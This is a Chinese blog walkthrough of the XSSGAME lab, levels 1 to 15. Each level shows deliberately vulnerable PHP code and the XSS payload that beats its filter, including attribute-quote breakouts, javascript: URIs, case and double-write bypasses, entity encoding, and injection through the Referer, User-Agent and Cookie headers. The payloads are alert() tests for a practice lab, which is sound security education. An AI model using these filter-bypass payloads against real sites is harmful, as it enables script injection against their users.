XSSGAME小游戏(XSS学习)level1-15

2023-10-29

XSS源码下载

xssgame

本地搭建

 level1

 查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/8deed969-b339-4c84-8654-b1a1e40e06de.png" width="50%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

name 变量通过 GET 方式传入,没有任何过滤。 

payload如下

/level1.php?name=<script>alert(1)</script>

level2

 查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

PHP htmlspecialchars() 函数

变量通过 GET方式传入。标签经过了htmlspecialchars()编码,但input标签没有任何过滤,所以尝试在input 标签中闭合双引号",来触发事件。

onclick:javascript事件

onclick 事件会在对象被点击时发生。

" onclick=alert('H3018') //

 输入之后点击输入框即可

 

 level3

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

变量通过 GET方式传入。标签经过了htmlspecialchars()编码,但input标签没有任何过滤,所以尝试在input 标签中闭合双引号',来触发事件。

' onclick=alert('H3018') //

 level4

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/0d3f0d24-a861-4d20-97da-f807ea842be8.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

在第level2的基础上,过滤了尖括号,但是在input标签中闭合双引号来构造事件来触发用不到尖括号,所以payload依旧适用

" onclick=alert('H3018') //

 level5

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/cb30e912-eabc-4357-89eb-49e8de1b1961.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

这里首先对传入的变量的字符转化为小写,接着过滤了<script并转换为<scr_ipt,将on转化为o_n,我们无法通过这两个方法来触发事件了,但是可以闭合双引号和标签,然后通过javascript:alert('H3018')来触发弹窗。这里实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

"><a href=javascript:alert('H3018') //

点击这里

 

 level6

 查看源代码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/92847238-8dda-473f-9c04-83986de1472a.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

比level5加入了许多过滤原则,但并没有对传入字符串进行转换小写处理,这里可以通过大小写绕过

payload:

" Onclick=alert('H3018') //

"><a Href=javascript:alert('H3018') //

 level7

 查看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/17532328-f4cc-4bca-b283-c7f7b5a13f80.jpg" width="20%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

这里采用了strtolower()统一将字符串转化为小写,但str_replace()函数将匹配到的字符串转化为了空格,我们可以采用双写绕过

" oonnclick=alert('H3018') //

 level8

 查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/d2d2080f-746c-4276-9f63-585fc4fd4a9c.jpg" width="20%"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

这里对传入的字符串进行了严格的检测与过滤,但在<cente>标签中并没有对传入字符串进行htmlspecialchars()函数处理,可以尝试使用javascript这种形式触发XSS

使用HTML 实体字符编码绕过过滤

javascrip&#x74;:alert('H3018') //

 点击友情链接即可

 level9

 有友情链接,估计和上面一题差不多

查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

添加了对传入字符串的检测,直接在payload 后面添加http://

javascrip&#x74;:alert('H3018') //http://

点击友情链接

 level10

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

两个输出点$str没戏,经过了htmlspecialchars($str)函数处理,看$str33的输出点,这里将其隐藏了起来,手动修改掉type值

keyword=&t_sort=" type="" onclick=alert('H3018') //

 level11

 又莫得框框

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里对$str与$str00两个输入字符串都进行了处理,基本是都没戏,但并没有对$str11进行处理,我们利用bp来修改referer来触发弹窗

Referer: " type="" onclick=alert('H3018') //

 

 level12

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

和上一关思路一样,只不过是USER-AGENT注入

利用bp修改USER_AGENT

User-Agent: " type="" onclick=alert('H3018') //

 

 level13

 做题好爽哈哈哈

查看源码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

COOKIE注入

利用BP

Cookie: user=" type="" onclick=alert('H3018') //

 

 level14

 查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

 这里可以利用其包含其他关的页面来触发弹窗

?src="level1.php?name=<img src=x onerror=alert('H3018')>"

这里源码中的https://chao.jsanhuan.cn/angular.min.js这个外部脚本文件已经不能访问了

也没在本地搭了,所以这个payload可能在本地打不通

level15

 查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

这里过滤了script标签页过滤了空格,可以用%0a来替代

level15.php?keyword=<img%0asrc=x%0aonerror=alert('H3018')>

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSSGAME小游戏(XSS学习)level1-15 的相关文章

  • 【GRNN-RBFNN-ILC算法】【轨迹跟踪】基于神经网络的迭代学习控制用于未知SISO非线性系统的轨迹跟踪(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 2 1 第1部分 2 2 第2部分
  • 【无标题】

    大家都知道该赛项的规程和样题向来都是模棱两可 从来不说具体的内容 导致选手在备赛时没有头绪 不知道该怎么训练 到了赛时发现题目和备赛的时候完全不一样 那么本文将以往年信息安全管理与评估赛项经验来解读今年2023年国赛的规程 帮助选手们指明方
  • Cortex-M3与M4权威指南

    处理器类型 所有的ARM Cortex M 处理器是32位的精简指令集处理器 它们有 32位寄存器 32位内部数据路径 32位总线接口 除了32位数据 Cortex M处理器也可以有效地处理器8位和16位数据以及支持许多涉及64位数据的操作
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学
  • 可以在 CodeIgniter 中“重复”xss-clean 数据吗?

    以下是在 Codeigniter 中清除 XSS 数据的方法 set global xss filtering在配置中TRUE use xss clean use xss clean作为验证规则 将第二个参数设置为TRUE in this
  • 如何使用 AntiXss 库正确清理内容?

    我有一个简单的论坛应用程序 当有人发布任何内容时 我会 post Content Sanitizer GetSafeHtml post Content 现在 我不确定我是否做错了什么 或者发生了什么 但它不允许几乎没有 html 甚至简单
  • 在 Struts 2 中使 ${} 运算符 XSS 安全(与 Tapestry 相同)

    正如中提到的http www disasterarea co uk blog xss vulnerability in web frameworks 2 http www disasterarea co uk blog xss vulner
  • ValidateRequest 错误还是 SQL Server Bug?

    我正在读这个article http software security sans org blog 2011 07 22 bypassing validaterequest in asp net 它说 该字符用值 uff1c 表示 如果将
  • HTTP 标头中 CRLF 序列的不正确中和

    我在我的项目上运行了 Veracode 扫描 它在 HTTP 响应拆分下给了我 CWE ID 113 问题 我尝试根据建议解决该问题 但没有成功 例如 try String selNhid req getParameter selNhid
  • 将 html 内容从 iframe 复制到 div ( ajax )?

    假设我的浏览器加载了一个 Iframe 我可以使用ajax将test html的内容加载到html主页面的div中吗 这个想法是我的解决方案 因为我实际上正在尝试克服将 ajax 提交到远程主机的限制 该计划是生成具有 0 大小 ifram
  • 如何使用 Struts 预防 XSS 漏洞

    我们需要在 Struts 应用程序中添加反 XSS 支持 最具体地说 架构师要求所有用户输入在存储到数据库之前必须进行 清理 由于我不想重新发明方轮 我可以使用哪个 Java 库来实现此目的 以及把它放在哪里 理想情况下 它应该是可配置的
  • CodeIgniter - 为什么使用 xss_clean

    如果我正在清理我的数据库插入 并且还转义我编写的 HTMLhtmlentities text ENT COMPAT UTF 8 是否还需要使用 xss clean 过滤输入 它还有什么其他好处 xss clean http docs gip
  • html() 与 innerHTML jquery/javascript 和 XSS 攻击

    我正在对我自己的代码测试 xss 攻击 下面的示例是一个简单的框 用户可以在其中输入他想要的任何内容 按 测试 后按钮 JS 会将输入字符串显示为两个 div 这是我为了更好地解释我的问题而制作的示例
  • 尝试利用?

    我看到我的 nopCommerce 网站记录了以下搜索 ADw script AD4 alert 202 ADw script AD4 我有点好奇他们想要完成什么 我搜索了一下 似乎是ADw script AD4 以 UTF7 编码为
  • 发布后忽略基本标签

    在 Chrome 上我收到错误Refused to execute a JavaScript script Source code of script found within request 在发布包含域名的数据后 另请注意任一页面上都缺
  • 防止语言环境文件中的 HTML 字符实体被 Rails3 xss 保护破坏

    我们正在构建一个应用程序 这是我们第一个使用 Rails 3 的应用程序 并且我们必须从一开始就构建 I18n 作为完美主义者 我们希望在我们的视图中使用真正的排版 破折号 卷曲引号 省略号等 这意味着在我们的 locales xx yml
  • Chrome:ERR_BLOCKED_BY_XSS_AUDITOR 详细信息

    我在尝试发布然后获得一个简单的表单时收到了这个 chrome 标志 问题是开发者控制台没有显示任何相关内容 我自己无法找到问题的根源 是否有任何选项可以更详细地查看此内容 查看触发错误的代码片段以修复它 在开发中绕过此错误的简单方法是将标头
  • 如何正确编码 mailto 链接?

    我正在生成一些 HTML 并且我想生成 XSS 和数据库内容安全的mailto关联 这里使用的正确编码是什么 这个怎么样 myLiteral Text string Format mailto 0 Content Type text htm
  • 如果未使用“data-target”属性,Bootstrap 3.3.7 是否安全?

    有一个安全漏洞 https snyk io test npm bootstrap 3 3 7 tab issues关于 Bootstrap 3 3 7 它表示 该软件包的受影响版本很容易通过数据目标属性受到跨站点脚本 XSS 攻击 我想知道
  • 允许所有内容安全策略?

    是否可以将内容安全策略配置为根本不阻止任何内容 我正在上一门计算机安全课程 我们的网络黑客项目在较新版本的 Chrome 上遇到了问题 因为没有任何 CSP 标头 它会自动阻止某些 XSS 攻击 对于仍然想要更宽松的帖子的人 因为其他答案不

随机推荐

  • 发起HTTP请求--Curl

    curl 是常用的命令行工具 用来请求 Web 服务器 它的名字就是客户端 client 的 URL 工具的意思 它的功能非常强大 命令行参数多达几十种 如果熟练的话 完全可以取代 Postman 这一类的图形界面工具 我们可以使用cURL
  • CTFshow(web21-web28)

    web21 考点tomcat 认证爆破之custom iterator使用 https www cnblogs com 007NBqaq p 13220297 html 下载密码字典抓包 通过burpsuite暴力破解 Payload se
  • 原生JS实现ajax 发送post请求

    1 代码 原生JS实现ajax 发送post请求
  • fluxion 无法连接虚假AP热点,DHCP服务启动失败

    记录一个使用fluxion时 无法连接至虚假AP的DHCP问题 编辑 fluxion attacks Captive Portal attack sh gedit fluxion attacks Captive Portal attack
  • 基于Spring-AOP写的切面和注解,解决一些跟业务逻辑无关的公共问题处理方法

    技术点 Spring Aop 反射 背景 目前在做一个项目 做数据库设计的时候对一些表进行了埋点 比如跟我业务相关的每个表 都有create time create user id create user name update time
  • 训练正常&异常的GAN损失函数loss变化应该是怎么样的

    这里以个人用到的一个网络为例 仅供参考 不代表所有情形 用tensorboard记录loss曲线的走向 横轴为迭代次数 iter 纵轴为损失 loss 值 正常的 判别器loss loss在2 6到3 4之间来回上下波动 注意 在tenso
  • WIN10手动添加开机启动项,自己测试可用

    方法 开机启动文件夹 1 我们打开文件夹 C Users 用户 Administrator 当前用户名 AppData Roaming Microsoft Windows Start Menu Programs 开始 菜单 Programs
  • Git Tag 打标签

    晚来天欲雪 能饮一杯无 这位大侠 硬套路在此 接招 提交标签 git add git commit m fixed some bugs git tag a 0 1 3 m Release version 0 1 3 可以给指定commit打
  • element基础详情页-文本描述组件

    欢迎点击领取 前端面试题进阶指南 前端登顶之巅 最全面的前端知识点梳理总结 分享一个使用比较久的 最新版本element ui 已支持详情描述组件 直接使用即可 前言 对于常做topB系统的小伙伴们 基础信息详情页是最常见不过的 使用 只是
  • android打开sdcard读写文件、访问网络权限

    去工程的AndroidManifest xml 添加
  • dubbo分布式系统链路追踪_zipkin

    基础知识储备 分布式跟踪的目标 一个分布式系统由若干分布式服务构成 每一个请求会经过多个业务系统并留下足迹 但是这些分散的数据对于问题排查 或是流程优化都很有限 要能做到追踪每个请求的完整链路调用 收集链路调用上每个服务的性能数据 计算性能
  • single-passParallel Prefix Scan with Decoupled Look-back

    背景 最近在写基数排序 nvidia的基数排序依赖这个实现 所以有必要搞懂 原理 代码 总结 参考
  • windows下如何搭建属于自己的git服务器

    前一阵子公司需要 领导让我给我们技术部搭建一个git服务器 以前看过教程 但自己没动手做过 开始按照网上的教程来 但搭建过程中发现还是不够详细 今天给大家一个比较详细的 希望对大家有帮助 高能预警 这不是一个问题 这是一个技术贴 咳咳 进入
  • 管理系统-------SPU

    目录 静态页面 api接口 二次封装ui button组件 代码 v attrs的用法详解与原理 listeners spuForm spuForm静态页面 spuForm逻辑分析 完整代码 spu完整代码 静态页面
  • 在vue export default 外部调用内部的属性或方法

  • C++超详细五子棋游戏(AI实现人机对弈+双人对弈+EasyX图形化界面+详细介绍)

    目录 一 准备工作 1 开发环境 2 EasyX的下载和安装 二 游戏规则 1 行棋顺序 2 判断胜负 3 四种重要棋型解释 重点 4 禁手规则 三 双人对弈详细剖析 1 落子 2 判胜 四 人机对弈超详细剖析 1 整体代码分析 2 玩家落
  • 分类算法简述

    分类算法简述 一 什么是分类算法 数据挖掘任务通常分为两大类 预测任务 根据其他属性的值 预测特定属性的值 描述任务 概括数据中潜在联系的模式 相关性 趋势 聚类 轨迹和异常 分类属于预测任务 就是通过已有数据集 训练集 的学习 得到一个目
  • CH2-开发工具DevEco Studio

    文章目录 本章节目标 一 DevEco基本特性 主要功能 基本特性 应用开发流程 二 安装过程 搭建开发环境流程 下载和安装Node js 下载和安装DevEco Studio 配置开发环境 网络设置 设置npm仓库 三 Gradle的作用
  • 软件测试大厂面试真题,分享一波经验!!

    你好 我是小牛 在这家公司待了两年了 基本上功能 自动化 性能都有做 而且公司系统相对比较复杂 链路比较长 相对来说 还是能学习到不少东西 而且比较难得的一点是 公司加班相对来说比较少 一般七点左右就能走了 偶尔加班到九点 可以说是十分安逸
  • XSSGAME小游戏(XSS学习)level1-15

    XSS源码下载 xssgame 本地搭建 level1 查看源码